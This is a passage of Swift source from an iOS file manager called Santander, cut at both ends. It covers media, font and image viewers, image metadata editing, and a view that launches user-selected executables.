sliderDidChange(_ sender: UISlider) { player.currentTime = Double(sender.value) displayLink.isPaused = false } @objc func sychronizeSliderProgress() { if !playbackSlider.isTracking { MPNowPlayingInfoCenter.default().nowPlayingInfo?[MPMediaItemPropertyPlaybackDuration] = player.duration MPNowPlayingInfoCenter.default().nowPlayingInfo?[MPNowPlayingInfoPropertyElapsedPlaybackTime] = player.currentTime } let synchronized = player.currentTime playbackSlider.setValue(Float(synchronized), animated: true) currentProgressLabel.text = format(timeInterval: synchronized) // show the current time left in the duration label if let currentTimeLeft = format(timeInterval: player.duration - player.currentTime) { self.durationLabel.text = "-\(currentTimeLeft)" } displayLink.isPaused = false } @objc func didBeginDraggingSlider() { displayLink.isPaused = true } /// Formats a time interval func format(timeInterval: TimeInterval) -> String? { let formatter = DateComponentsFormatter() // show all units that we'll allow formatter.zeroFormattingBehavior = [] formatter.allowedUnits = [.second, .minute] // if longer than an hour or long as an hour, allow hours if timeInterval >= 3600 { formatter.allowedUnits.insert(.hour) } return formatter.string(from: timeInterval) } func loopButtonImage() -> UIImage? { let image = UIImage(systemName: "repeat") if !self.doLoop { return image?.withTintColor(.systemGray, renderingMode: .alwaysOriginal) } return image } func setupBarButtons() { let durationActions = availableSkipDurations.map { duration in UIAction(title: duration.description, state: self.skipDuration == duration ? .on : .off) { _ in self.skipDuration = duration self.setupBarButtons() // Update the menu } } let skipDurationSubMenu = UIMenu(title: "Backward / Forward duration", children: durationActions) let adjustSpeedActions = availableSpeedRates.map { rate in UIAction(title: rate.description, state: self.playbackSpeedRate == rate ? .on : .off) { _ in self.playbackSpeedRate = rate self.setupBarButtons() // Update the menu } } let adjustSpeedMenu = UIMenu(title: "Speed", image: UIImage(systemName: "speedometer"), children: adjustSpeedActions) let menu = UIMenu(children: [adjustSpeedMenu, skipDurationSubMenu]) self.navigationItem.rightBarButtonItem = UIBarButtonItem(image: UIImage(systemName: "ellipsis.circle"), menu: menu) self.navigationItem.leftBarButtonItem = UIBarButtonItem(title: "Dismiss", primaryAction: UIAction { _ in self.dismiss(animated: true) }) } func addItemToSystemMediaPlayer() { let center = MPNowPlayingInfoCenter.default() UIApplication.shared.beginReceivingRemoteControlEvents() MPRemoteCommandCenter.shared().playCommand.addTarget { event in self.player.play() self.setPlayButtonImage() self.playbackCallback?() return .success } MPRemoteCommandCenter.shared().pauseCommand.addTarget { event in self.player.pause() self.setPlayButtonImage() self.playbackCallback?() return .success } MPRemoteCommandCenter.shared().nextTrackCommand.addTarget {event in self.player.currentTime += Double(self.skipDuration) return .success } MPRemoteCommandCenter.shared().previousTrackCommand.addTarget {event in self.player.currentTime -= Double(self.skipDuration) return .success } var info: [String: Any] = [ MPMediaItemPropertyTitle: self.itemName, MPNowPlayingInfoPropertyMediaType: MPNowPlayingInfoMediaType.audio.rawValue, MPNowPlayingInfoPropertyAssetURL: self.fileURL, MPNowPlayingInfoPropertyIsLiveStream: false ] if let album = asset.metadata.first(where: { $0.commonKey?.rawValue == "album" })?.stringValue { info[MPMediaItemPropertyAlbumTitle] = album } if let artist = self.artistName { info[MPMediaItemPropertyArtist] = artist } if let artworkImage = artworkImage { let mpArtwork = MPMediaItemArtwork(boundsSize: artworkImage.size) { _ in return artworkImage } info[MPMediaItemPropertyArtwork] = mpArtwork } center.nowPlayingInfo = info } override func dismiss(animated flag: Bool, completion: (() -> Void)? = nil) { player.stop() super.dismiss(animated: flag, completion: completion) } func removeFromSystemMediaPlayer() { MPNowPlayingInfoCenter.default().nowPlayingInfo = nil } } extension AudioPlayerViewController: AVAudioPlayerDelegate { func audioPlayerDidFinishPlaying(_ player: AVAudioPlayer, successfully flag: Bool) { if self.doLoop { player.play() } setPlayButtonImage() playbackCallback?() } } ================================================ FILE: Santander/UI/Editors/BinaryExecutionViewController.swift ================================================ // // BinaryExecutionViewController.swift // Santander // // Created by Serena on 06/09/2022 // import UIKit import NSTaskBridge class BinaryExecutionViewController: UIViewController { let executableURL: URL var task: NSTask = NSTask() var textView: UITextView! init(executableURL: URL) { self.executableURL = executableURL super.init(nibName: nil, bundle: nil) } required init?(coder: NSCoder) { fatalError("init(coder:) has not been implemented") } override func viewDidLoad() { super.viewDidLoad() view.backgroundColor = .secondarySystemBackground title = "Execution" let doneAction = UIAction { if self.task.isRunning { self.task.interrupt() } self.dismiss(animated: true) } navigationItem.rightBarButtonItem = UIBarButtonItem(systemItem: .done, primaryAction: doneAction) configureNavigationBarToNormal() let executableTextField = UITextField() let action = UIAction { if self.task.isRunning { self.task.interrupt() } self.spawnExecutable(pathAndArgs: executableTextField.text!) } executableTextField.autocorrectionType = .no executableTextField.returnKeyType = .go executableTextField.addAction(action, for: .primaryActionTriggered) executableTextField.text = executableURL.path executableTextField.font = UIFont(name: "Menlo", size: UIFont.systemFontSize) executableTextField.translatesAutoresizingMaskIntoConstraints = false executableTextField.backgroundColor = .systemBackground executableTextField.inputAccessoryView = makeKeyboardToolbar(forTextField: executableTextField) view.addSubview(executableTextField) let guide = view.safeAreaLayoutGuide NSLayoutConstraint.activate([ executableTextField.trailingAnchor.constraint(equalTo: guide.trailingAnchor), executableTextField.leadingAnchor.constraint(equalTo: guide.leadingAnchor), executableTextField.topAnchor.constraint(equalTo: guide.topAnchor), executableTextField.heightAnchor.constraint(equalToConstant: 50), ]) self.textView = UITextView() textView.text = "" textView.font = .systemFont(ofSize: 20) textView.isEditable = false textView.translatesAutoresizingMaskIntoConstraints = false textView.backgroundColor = view.backgroundColor view.addSubview(textView) NSLayoutConstraint.activate([ textView.leadingAnchor.constraint(equalTo: guide.leadingAnchor), textView.trailingAnchor.constraint(equalTo: guide.trailingAnchor), textView.topAnchor.constraint(equalTo: executableTextField.bottomAnchor), textView.heightAnchor.constraint(equalTo: view.heightAnchor) ]) } func makeKeyboardToolbar(forTextField textField: UITextField) -> UIToolbar { let toolbar = UIToolbar() let dismissKeyboardAction = UIAction { textField.resignFirstResponder() } let dismissButton = UIBarButtonItem(title: "Dismiss", primaryAction: dismissKeyboardAction) toolbar.setItems([.flexibleSpace(), dismissButton], animated: true) toolbar.sizeToFit() return toolbar } func spawnExecutable(pathAndArgs: String) { var components = pathAndArgs.components(separatedBy: " ") guard let executable = components.first, !executable.isEmpty else { self.errorAlert("Enter a valid executable and arguments.", title: "Input is empty") return } // make it just args components.removeFirst() self.task = NSTask() task.executableURL = URL(fileURLWithPath: executable) task.arguments = components let pipe = Pipe() pipe.fileHandleForReading.readabilityHandler = { outPipe in guard let output = String(data: outPipe.availableData, encoding: .utf8), !output.isEmpty else { return } DispatchQueue.main.async { self.textView.text.append(output) } } task.standardError = pipe task.standardOutput = pipe do { textView.text = "" try task.launchAndReturnError() task.waitUntilExit() } catch { self.errorAlert(error, title: "Unable to launch process") } } } ================================================ FILE: Santander/UI/Editors/FileEditorType.swift ================================================ // // FileEditorType.swift // Santander // // Created by Serena on 16/08/2022. // import UIKit import AVKit struct FileEditor { let type: FileEditorType let viewController: UIViewController static func preferred(forURL _url: Path) -> FileEditor? { let url = _url.url if url.pathExtension == "car", let carVC = FileEditorType.assetCatalog.viewController(forPath: url, data: nil) { return FileEditor(type: .assetCatalog, viewController: carVC) } guard let data = try? Data(contentsOf: url) else { return nil } let type = url.contentType if type == .unixExecutable { return FileEditor(type: .executable, viewController: BinaryExecutionViewController(executableURL: url)) } if type?.isOfType(.audio) ?? false, let audio = FileEditorType.audio.viewController(forPath: url, data: data) { return FileEditor(type: .audio, viewController: audio) } if type?.isOfType(.font) ?? false, let fontVC = FileEditorType.font.viewController(forPath: url, data: data) { return FileEditor(type: .font, viewController: fontVC) } if let imageVC = FileEditorType.image.viewController(forPath: url, data: data) { return FileEditor(type: .image, viewController: imageVC) } if (type?.isOfType(.video) ?? false || type?.isOfType(.movie) ?? false), let videoPlayer = FileEditorType.video.viewController(forPath: url, data: data) { return FileEditor(type: .video, viewController: videoPlayer) } if let plistVc = FileEditorType.propertyList.viewController(forPath: url, data: data) { return FileEditor(type: .propertyList, viewController: plistVc) } if url.pathExtension == "json", let jsonVC = FileEditorType.json.viewController(forPath: url, data: data) { return FileEditor(type: .json, viewController: jsonVC) } if let textEditorVc = FileEditorType.text.viewController(forPath: url, data: data) { return FileEditor(type: .text, viewController: textEditorVc) } return nil } static func allEditors(forPath path: Path) -> [FileEditor] { let url = path.url let data = try? Data(contentsOf: url) return FileEditorType.allCases.compactMap { type in guard let vc = type.viewController(forPath: url, data: data) else { return nil } return FileEditor(type: type, viewController: vc) } } func display(senderVC: UIViewController) { let vcToPresent: UIViewController if type.useNavigationController { vcToPresent = UINavigationController(rootViewController: viewController) } else { vcToPresent = viewController } if type.presentAsFullScreen { vcToPresent.modalPresentationStyle = .fullScreen } senderVC.present(vcToPresent, animated: true) } } enum FileEditorType: CustomStringConvertible, CaseIterable { case audio, image, video case propertyList, json, text, font case assetCatalog case executable /// Returns the view controller to be used for the file editor type /// the Data parameter is used so that, when looping over all editor types, /// it tries to get the data for only one time func viewController(forPath path: URL, data: Data?) -> UIViewController? { if self == .assetCatalog { guard path.pathExtension == "car", let vc = try? AssetCatalogViewController(catalogFileURL: path) else { return nil } if UIDevice.isiPad { return __makeSplitViewController(with: AssetCatalogSidebarListView(catalogController: vc), for: .primary) } return vc } guard let data = data else { return nil } switch self { case .audio: return try? AudioPlayerViewController(fileURL: path, data: data) case .propertyList: let fmt: UnsafeMutablePointer = .allocate(capacity: 4) let plist = try? PropertyListSerialization.propertyList(from: data, format: fmt) if let dict = plist as? [String: Any] { return SerializedDocumentViewController(dictionary: dict.asSerializedDictionary(), type: .plist(format: fmt.pointee), title: path.lastPathComponent, fileURL: path, parentController: nil, canEdit: true) } else if let arr = plist as? Array { return SerializedArrayViewController(array: arr, type: .plist(format: fmt.pointee), parentController: nil, title: path.lastPathComponent, fileURL: path, canEdit: true) } return nil case .json: let json = try? JSONSerialization.jsonObject(with: data) if let dict = json as? [String: Any] { return SerializedDocumentViewController(dictionary: dict.asSerializedDictionary(), type: .json, title: path.lastPathComponent, fileURL: path, parentController: nil, canEdit: true) } else if let arr = json as? Array { return SerializedArrayViewController(array: arr, type: .json, parentController: nil, title: path.lastPathComponent, fileURL: path, canEdit: true) } return nil case .text: guard let stringContents = String(data: data, encoding: .utf8) else { return nil } let textVC = TextFileEditorViewController(fileURL: path, contents: stringContents) if UIDevice.isiPad { return __makeSplitViewController(with: textVC, for: .secondary) } return textVC case .image: guard let image = UIImage(data: data) else { return nil } return ImageViewerController(fileURL: path, image: image) case .video: let type = path.contentType guard (type?.isOfType(.movie) ?? false || type?.isOfType(.video) ?? false) else { return nil } let controller = AVPlayerViewController() controller.player = AVPlayer(url: path) return controller case .font: guard let descriptors = CTFontManagerCreateFontDescriptorsFromURL(path as CFURL) as? [CTFontDescriptor], !descriptors.isEmpty else { return nil } return FontViewerController(selectedFont: descriptors.first!.uiFont, descriptors: descriptors) case .executable: return BinaryExecutionViewController(executableURL: path) case .assetCatalog: return nil // already covered! } } private func __makeSplitViewController(with vc: UIViewController, for column: UISplitViewController.Column) -> UISplitViewController { let splitVC = UISplitViewController(style: .doubleColumn) splitVC.setViewController(vc, for: column) return splitVC } var description: String { switch self { case .audio: return "Audio Player" case .video: return "Video Player" case .image: return "Image Viewer" case .propertyList: return "Property List Viewer" case .json: return "JSON Viewer" case .font: return "Font Viewer" case .text: return "Text Editor" case .assetCatalog: return "Asset Catalog Viewer" case .executable: return "Executable Runner" } } var presentAsFullScreen: Bool { switch self { case .text, .image, .video, .executable: return true case .audio, .font: return false case .propertyList, .json, .assetCatalog: return UIDevice.isiPad } } var useNavigationController: Bool { switch self { case .video: return false case .text, .assetCatalog: return !UIDevice.isiPad default: return true } } } ================================================ FILE: Santander/UI/Editors/Font/FontInformationViewController.swift ================================================ // // FontInformationViewController.swift // Santander // // Created by Serena on 03/09/2022. // import UIKit /// A ViewController displaying information about a Font class FontInformationViewController: UITableViewController { let font: UIFont let ctFont: CTFont let fontName: String init(font: UIFont) { self.font = font self.ctFont = font as CTFont self.fontName = CTFontCopyAttribute(ctFont, kCTFontDisplayNameAttribute) as? String ?? font.fontName super.init(style: .userPreferred) } required init?(coder: NSCoder) { fatalError("init(coder:) has not been implemented") } override func viewDidLoad() { super.viewDidLoad() // a label, with the font set as the font being viewed // and the text set as the font name let fontLabel = UILabel() fontLabel.text = fontName fontLabel.font = font.withSize(30) navigationItem.titleView = fontLabel } override func numberOfSections(in tableView: UITableView) -> Int { return 2 } override func tableView(_ tableView: UITableView, numberOfRowsInSection section: Int) -> Int { switch section { case 0: return 6 case 1: return 3 default: fatalError() } } override func tableView(_ tableView: UITableView, cellForRowAt indexPath: IndexPath) -> UITableViewCell { let cell = UITableViewCell(style: .value1, reuseIdentifier: nil) var conf = cell.defaultContentConfiguration() defer { cell.contentConfiguration = conf } switch (indexPath.section, indexPath.row) { case (0, 0): conf.text = "Full name" conf.secondaryText = fontName case (0, 1): conf.text = "Family name" conf.secondaryText = font.familyName case (0, 2): conf.text = "PostScript name" conf.secondaryText = font.fontDescriptor.postscriptName case (0, 3): conf.text = "Style" conf.secondaryText = CTFontCopyAttribute(ctFont, kCTFontStyleNameAttribute) as? String ?? "N/A" case (0, 4): conf.text = "Enabled" if let isEnabled = CTFontCopyAttribute(ctFont, kCTFontEnabledAttribute) as? Bool { conf.secondaryText = isEnabled ? "Yes" : "No" } else { conf.secondaryText = "N/A" } case (0, 5): conf.text = "URL" let url = CTFontCopyAttribute(ctFont, kCTFontURLAttribute) as? URL conf.secondaryText = url?.path ?? "N/A" case (1, 0): conf.text = "Designer" conf.secondaryText = CTFontCopyName(ctFont, kCTFontDesignerNameKey) as? String ?? "N/A" case (1, 1): conf.text = "Manufacturer" conf.secondaryText = CTFontCopyName(ctFont, kCTFontManufacturerNameKey) as? String ?? "N/A" case (1, 2): conf.text = "Version" conf.secondaryText = CTFontCopyName(ctFont, kCTFontVersionNameKey) as? String ?? "N/A" default: fatalError("Unhandled indexPath: \(indexPath)") } return cell } override func tableView(_ tableView: UITableView, shouldHighlightRowAt indexPath: IndexPath) -> Bool { return false } } ================================================ FILE: Santander/UI/Editors/Font/FontViewerController.swift ================================================ // // FontViewerController.swift // Santander // // Created by Serena on 03/09/2022. // import UIKit /// A ViewController displaying a seleceted font, with a Text View to type text with the font /// and a slider to change the size of the font class FontViewerController: UIViewController { var selectedFont: UIFont var descriptors: [CTFontDescriptor] var textView: UITextView! var amountLabel: UILabel! init(selectedFont: UIFont, descriptors: [CTFontDescriptor]) { self.selectedFont = selectedFont self.descriptors = descriptors super.init(nibName: nil, bundle: nil) self.title = selectedFont.familyName } required init?(coder: NSCoder) { fatalError("init(coder:) has not been implemented") } override func viewDidLoad() { super.viewDidLoad() navigationController?.navigationBar.prefersLargeTitles = false view.backgroundColor = .systemBackground setupRightBarButton() self.textView = UITextView() textView.text = "The quick brown fox jumps over the lazy dog and runs away." textView.font = self.selectedFont textView.inputAccessoryView = makeKeyboardToolbar(textView: textView) textView.translatesAutoresizingMaskIntoConstraints = false view.addSubview(textView) textView.constraintCompletely(to: view) configureNavigationBarToNormal() setupBottomView() } func setupRightBarButton() { let presentInfoAction = UIAction { if self.descriptors.count > 1 { // if there is more than just one font // display an action sheet to choose between those let alert = UIAlertController(title: nil, message: nil, preferredStyle: .actionSheet) let actions = self.descriptors.map { descriptor in let uiFont = descriptor.uiFont return UIAlertAction(title: uiFont.fontName, style: .default) { _ in let vc = FontInformationViewController(font: uiFont) self.present(UINavigationController(rootViewController: vc), animated: true) } } for action in actions { alert.addAction(action) } alert.addAction(.cancel()) self.present(alert, animated: true) } else { // else, if there's just one font in the URL, just present the info vc for that let vc = FontInformationViewController(font: self.selectedFont) self.present(UINavigationController(rootViewController: vc), animated: true) } } let infoButton = UIBarButtonItem(image: UIImage(systemName: "info.circle"), primaryAction: presentInfoAction) // if there is more than one font descriptor // that means we can select more than 1 font // so, display a menu for choosing between those if descriptors.count > 1 { // the actions to change the selected font let selectFontActions = descriptors.map { descr in let uiFont = descr.uiFont return UIAction(title: uiFont.fontName, state: uiFont == self.selectedFont ? .on : .off) { _ in self.selectedFont = uiFont.withSize(self.selectedFont.pointSize) self.updateFontSize(newSize: self.selectedFont.pointSize) self.setupRightBarButton() } } let selectFontMenu = UIMenu(children: selectFontActions) navigationItem.rightBarButtonItems = [ UIBarButtonItem(title: "Select font..", menu: selectFontMenu), infoButton ] } else { // else, just display the info button and nothing else navigationItem.rightBarButtonItem = infoButton } } func updateFontSize(newSize: CGFloat) { UserPreferences.fontViewerFontSize = newSize self.selectedFont = selectedFont.withSize(newSize) self.textView.font = selectedFont amountLabel.text = Int(newSize).description } func setupBottomView() { let newView = UIView() newView.backgroundColor = .secondarySystemBackground // label displaying the current font size self.amountLabel = UILabel() amountLabel.text = Int(selectedFont.pointSize).description let slider = UISlider() slider.maximumValue = 90 slider.value = Float(selectedFont.pointSize) let sliderChangedAction = UIAction { self.updateFontSize(newSize: CGFloat(slider.value)) } slider.addAction(sliderChangedAction, for: .valueChanged) let stackView = UIStackView(arrangedSubviews: [slider, amountLabel]) stackView.translatesAutoresizingMaskIntoConstraints = false stackView.spacing = 10 newView.addSubview(stackView) newView.translatesAutoresizingMaskIntoConstraints = false view.addSubview(newView) NSLayoutConstraint.activate([ newView.leadingAnchor.constraint(equalTo: view.leadingAnchor), newView.trailingAnchor.constraint(equalTo: view.trailingAnchor), newView.topAnchor.constraint(equalTo: view.safeAreaLayoutGuide.bottomAnchor, constant: -50), newView.bottomAnchor.constraint(equalTo: view.safeAreaLayoutGuide.bottomAnchor), stackView.centerYAnchor.constraint(equalTo: newView.centerYAnchor), stackView.leadingAnchor.constraint(equalTo: newView.layoutMarginsGuide.leadingAnchor), stackView.trailingAnchor.constraint(equalTo: newView.layoutMarginsGuide.trailingAnchor), ]) } func makeKeyboardToolbar(textView: UITextView) -> UIToolbar { let toolbar = UIToolbar() let action = UIAction { textView.resignFirstResponder() } let doneButton = UIBarButtonItem(systemItem: .done, primaryAction: action) toolbar.setItems([.flexibleSpace(), doneButton], animated: true) toolbar.sizeToFit() return toolbar } } ================================================ FILE: Santander/UI/Editors/Image/ImageLocationEditorViewController.swift ================================================ // // ImageLocationEditorViewController.swift // Santander // // Created by Serena on 25/08/2022. // import UIKit import MapKit import CoreLocation class ImageLocationEditorViewController: UIViewController, MKMapViewDelegate { let fileURL: URL let metadata: ImageMetadata // used to update the metadata if changed let metadataSenderVC: ImageMetadataViewController var mapView: MKMapView! var annotation: MKPointAnnotation! init(metadata: ImageMetadata, metadataSenderVC: ImageMetadataViewController, fileURL: URL) { self.metadata = metadata self.fileURL = fileURL self.metadataSenderVC = metadataSenderVC super.init(nibName: nil, bundle: nil) } required init?(coder: NSCoder) { fatalError() } override func viewDidLoad() { super.viewDidLoad() title = "Location" let dismissAction = UIAction { self.dismiss(animated: true) } navigationItem.leftBarButtonItem = UIBarButtonItem(title: "Dismiss", primaryAction: dismissAction) mapView = MKMapView() mapView.translatesAutoresizingMaskIntoConstraints = false mapView.delegate = self annotation = MKPointAnnotation() mapView.addAnnotation(annotation) view.addSubview(mapView) mapView.constraintCompletely(to: view) if let center = metadata.location.coordinate { annotation.coordinate = center // set the location on the map to be the image's location mapView.setRegion(MKCoordinateRegion(center: center, span: .init()), animated: true) } configureNavigationBarToNormal() setRightBarButton() setupToolbar() } func setRightBarButton() { // edit if not editing, // and end editing if already doing editing let action = UIAction { self.setEditing(!self.isEditing, animated: true) } navigationItem.rightBarButtonItem = UIBarButtonItem( systemItem: isEditing ? .done : .edit, primaryAction: action ) } override func setEditing(_ editing: Bool, animated: Bool) { super.setEditing(editing, animated: animated) setRightBarButton() if !editing { // finalize editing, set location chosen setImageLocation(nullify: false) } else { // add back annotation, if necessary mapView.addAnnotation(annotation) } } func mapView(_ mapView: MKMapView, viewFor annotation: MKAnnotation) -> MKAnnotationView? { guard let anno = self.annotation else { return nil } let view = MKPinAnnotationView(annotation: anno, reuseIdentifier: "DraggablePin") view.isDraggable = true return view } func moveAnnotation(_ mapView: MKMapView) { // Central coordinates of the map when editing location if isEditing { annotation.coordinate = mapView.centerCoordinate } } /// Sets the image location in the metadata func setImageLocation(nullify: Bool) { let coordinate = annotation.coordinate var newGPSDict = (metadata.dictionary[kCGImagePropertyGPSDictionary as String] as? [String: Any?]) ?? [:] if nullify { newGPSDict[kCGImagePropertyGPSLatitude as String] = nil newGPSDict[kCGImagePropertyGPSLongitude as String] = nil metadata.location = ImageLocation(lat: nil, long: nil) } else { newGPSDict[kCGImagePropertyGPSLatitude as String] = coordinate.latitude newGPSDict[kCGImagePropertyGPSLongitude as String] = coordinate.longitude metadata.location = ImageLocation(lat: coordinate.latitude, long: coordinate.longitude) } var copy = metadata.dictionary copy[kCGImagePropertyGPSDictionary as String] = newGPSDict // did succeed in setting the properties let didSucceed = metadata.setProperties(toDictionary: copy, forFileURL: fileURL) if !didSucceed { errorAlert("", title: "Unable to set location of image") } else { metadataSenderVC.metadata = .init(dictionary: copy) metadataSenderVC.tableView.reloadData() if nullify { mapView.removeAnnotation(annotation) } } self.setupToolbar() } func mapView(_ mapView: MKMapView, regionDidChangeAnimated animated: Bool) { moveAnnotation(mapView) } func setupToolbar() { // here, we setup the trash button // in case the user wants to nullify the location // of the image let action = UIAction { // confirm if the user wants to remove it let alert = UIAlertController(title: "Remove image location?", message: nil, preferredStyle: .actionSheet) let removeAction = UIAlertAction(title: "Remove", style: .destructive) { _ in self.setImageLocation(nullify: true) } alert.addAction(removeAction) alert.addAction(.cancel()) self.present(alert, animated: true) } let trashButton = UIBarButtonItem(image: UIImage(systemName: "trash"), primaryAction: action) // enable trash button only if location isnt nil trashButton.isEnabled = metadata.location.coordinate != nil trashButton.tintColor = .systemRed navigationController?.setToolbarHidden(false, animated: true) self.toolbarItems = [trashButton] } } ================================================ FILE: Santander/UI/Editors/Image/ImageMetadataViewController.swift ================================================ // // ImageMetadataViewController.swift // Santander // // Created by Serena on 24/08/2022. // import UIKit /// A ViewController displaying the metadata of an image class ImageMetadataViewController: UITableViewController { var metadata: ImageMetadata let fileURL: URL init(metadata: ImageMetadata, fileURL: URL) { self.metadata = metadata self.fileURL = fileURL super.init(style: .userPreferred) } required init?(coder: NSCoder) { fatalError("init(coder:) has not been implemented") } override func numberOfSections(in tableView: UITableView) -> Int { return 4 } override func tableView(_ tableView: UITableView, numberOfRowsInSection section: Int) -> Int { switch section { case 0, 1: return 3 case 2, 3: return 2 default: fatalError() } } override func viewDidLoad() { super.viewDidLoad() self.title = "Metadata" } override func tableView(_ tableView: UITableView, cellForRowAt indexPath: IndexPath) -> UITableViewCell { let cell = UITableViewCell(style: .value1, reuseIdentifier: nil) var conf = cell.defaultContentConfiguration() defer { cell.contentConfiguration = conf } switch (indexPath.section, indexPath.row) { case (0, 0): conf.text = "Pixel Height" conf.secondaryText = metadata.pixelHeight?.description ?? "N/A" case (0, 1): conf.text = "Pixel Width" conf.secondaryText = metadata.pixelWidth?.description ?? "N/A" case (0, 2): let datePicker = UIDatePicker() if let dateTaken = metadata.dateTimeTaken { datePicker.setDate(dateTaken, animated: true) } let action = UIAction { self.setNewDate(withDatePicker: datePicker) } // add the action for .editingDidEnd // and not for valueChanged // in order to avoid writing to the file a lot more than needed datePicker.addAction(action, for: .editingDidEnd) return cellWithView(datePicker, text: "Date", rightAnchorConstant: -5) case (1, 0): conf.text = "Camera Model" conf.secondaryText = metadata.cameraInfo?.model ?? "N/A" case (1, 1): conf.text = "Camera Manufacturer" conf.secondaryText = metadata.cameraInfo?.manufacturer ?? "N/A" case (1, 2): conf.text = "Camera Software" conf.secondaryText = metadata.cameraInfo?.softwareVersion ?? "N/A" case (2, 0): conf.text = "Lens Model" conf.secondaryText = metadata.exifInfo?.lensModel ?? "N/A" case (2, 1): conf.text = "Lens Manufacturer" conf.secondaryText = metadata.exifInfo?.lensManufacturer ?? "N/A" case (3, 0): conf.text = "Latitude" conf.secondaryText = metadata.location.lat?.description ?? "N/A" case (3, 1): conf.text = "Longitude" conf.secondaryText = metadata.location.long?.description ?? "N/A" default: break } return cell } override func tableView(_ tableView: UITableView, shouldHighlightRowAt indexPath: IndexPath) -> Bool { return false } func headerTitle(forSection section: Int) -> String { switch section { case 0: return "General" case 1: return "Camera" case 2: return "Lens" case 3: return "Location" default: fatalError() } } /// Called when the date is changed on the date picker func setNewDate(withDatePicker datePicker: UIDatePicker) { let exifFormattedDate = DateFormatter.EXIFDateFormatter.string(from: datePicker.date) let iptcFormattedDate = DateFormatter.IPTCDateFormatter.string(from: datePicker.date) var copy = metadata.dictionary // modify tiff dictionary var tiffDictionary = (copy[kCGImagePropertyTIFFDictionary as String] as? [String: Any]) ?? [:] tiffDictionary[kCGImagePropertyTIFFDateTime as String] = exifFormattedDate // modify EXIF dictionary var exifDictionary = (copy[kCGImagePropertyExifDictionary as String] as? [String: Any]) ?? [:] exifDictionary[kCGImagePropertyExifDateTimeOriginal as String] = exifFormattedDate exifDictionary[kCGImagePropertyExifDateTimeDigitized as String] = exifFormattedDate // modify IPTC dictionary var iptcDictionary = (copy[kCGImagePropertyIPTCDictionary as String] as? [String: Any]) ?? [:] iptcDictionary[kCGImagePropertyIPTCDateCreated as String] = iptcFormattedDate copy[kCGImagePropertyTIFFDictionary as String] = tiffDictionary copy[kCGImagePropertyExifDictionary as String] = exifDictionary copy[kCGImagePropertyIPTCDictionary as String] = iptcDictionary if !metadata.setProperties(toDictionary: copy, forFileURL: fileURL) { errorAlert("", title: "Unable to set date of image") } } override func tableView(_ tableView: UITableView, viewForHeaderInSection section: Int) -> UIView? { return sectionHeaderWithButton(sectionTag: section, titleText: headerTitle(forSection: section)) { button in guard section == 3 else { button.isHidden = true return } let action = UIAction { _ in self.presentMapEditor() } button.setTitle("View", for: .normal) button.setTitleColor(.systemBlue, for: .normal) button.addAction(action, for: .touchUpInside) } } override func tableView(_ tableView: UITableView, heightForHeaderInSection section: Int) -> CGFloat { return 40 } func presentMapEditor() { let vc = ImageLocationEditorViewController(metadata: metadata, metadataSenderVC: self, fileURL: fileURL) let navVC = UINavigationController(rootViewController: vc) navVC.modalPresentationStyle = .fullScreen self.present(navVC, animated: true) } } ================================================ FILE: Santander/UI/Editors/Image/ImageViewerController.swift ================================================ // // ImageViewerController.swift // Santander // // Created by Serena on 21/08/2022. // import UIKit import ObjectiveC import PDFKit // Hacky workaround, but PDFView is the best way to display the image due to the built in scroll view support /// A ViewController displaying a UIImage class ImageViewerController: UIViewController { let fileURL: URL? let image: UIImage var metadata: ImageMetadata? /// The signature of the function used to set the wallpaper /// by SpringBoardUIServices typealias SetWallpaperFunction = @convention(c) (_: NSDictionary, _: NSDictionary, _: Int, _: Int) -> Int init(fileURL: URL?, image: UIImage, title: String? = nil) { self.fileURL = fileURL self.image = image super.init(nibName: nil, bundle: nil) self.title = fileURL?.lastPathComponent ?? title } convenience init?(fileURL: URL) { guard let image = UIImage(contentsOfFile: fileURL.path) else { return nil } self.init(fileURL: fileURL, image: image) } required init?(coder: NSCoder) { fatalError("init(coder:) has not been implemented") } override func viewDidLoad() { super.viewDidLoad() // note: - don't move this to the init, // because we only want to assign this once the view loaded if let fileURL = fileURL { self.metadata = ImageMetadata(fileURL: fileURL) } view.backgroundColor = .systemBackground let doneAction = UIAction { _ in self.dismiss(animated: true) } let doneButton = UIBarButtonItem(systemItem: .done, primaryAction: doneAction) let infoButton = UIBarButtonItem() if let metadata = self.metadata, let fileURL = fileURL { let infoAction = UIAction { _ in let vc = ImageMetadataViewController(metadata: metadata, fileURL: fileURL) self.present(UINavigationController(rootViewController: vc), animated: true) } infoButton.primaryAction = infoAction } else { infoButton.isEnabled = false } // when assinging the primaryAction of the button, the image becomes nil? // so we assign it here, rather than at initialization of infoButton infoButton.image = UIImage(systemName: "info.circle") navigationItem.rightBarButtonItem = doneButton navigationItem.leftBarButtonItem = infoButton if let pdfPage = PDFPage(image: image) { let pdfView = PDFView(frame: self.view.bounds) pdfView.displayDirection = .vertical pdfView.displayMode = .singlePage pdfView.backgroundColor = .systemBackground let pdfDoc = PDFDocument() pdfDoc.insert(pdfPage, at: 0) pdfView.document = pdfDoc pdfView.autoScales = true pdfView.minScaleFactor = pdfView.scaleFactorForSizeToFit self.view = pdfView } else { setupFailedLabel() } configureNavigationBarToNormal() setupToolbar() } func setupFailedLabel() { let failedLabel = UILabel() failedLabel.text = "Failed to display image." failedLabel.textColor = .systemGray failedLabel.translatesAutoresizingMaskIntoConstraints = false view.addSubview(failedLabel) NSLayoutConstraint.activate([ failedLabel.centerXAnchor.constraint(equalTo: self.view.centerXAnchor), failedLabel.centerYAnchor.constraint(equalTo: self.view.centerYAnchor) ]) } func setupToolbar() { let shareMenuAction = UIAction { if let fileURL = self.fileURL { self.presentActivityVC(forItems: [fileURL]) } else { self.presentActivityVC(forItems: [self.image]) } } let shareMenuButton = UIBarButtonItem(image: UIImage(systemName: "square.and.arrow.up"), primaryAction: shareMenuAction) let saveImageAction = UIAction(title: "Save Image") { _ in self.saveImage(self.image) } // the places to set the wallpaper, represented by a UIAction let setWallpaperActions = WallpaperDestination.allCases.map { location in return UIAction(title: location.description) { _ in self.setImageAsWallpaper(to: location) } } let setAsWallpaperMenu = UIMenu(title: "Set as wallpaper for..", children: setWallpaperActions) let actionsMenu = UIMenu(children: [saveImageAction, setAsWallpaperMenu]) self.toolbarItems = [shareMenuButton, .flexibleSpace(), UIBarButtonItem(image: UIImage(systemName: "ellipsis.circle"), menu: actionsMenu)] self.navigationController?.setToolbarHidden(false, animated: true) } func setImageAsWallpaper(to location: WallpaperDestination) { // for SBFWallpaperOptions let sbF = dlopen("/System/Library/PrivateFrameworks/SpringBoardFoundation.framework/SpringBoardFoundation", RTLD_LAZY) // for 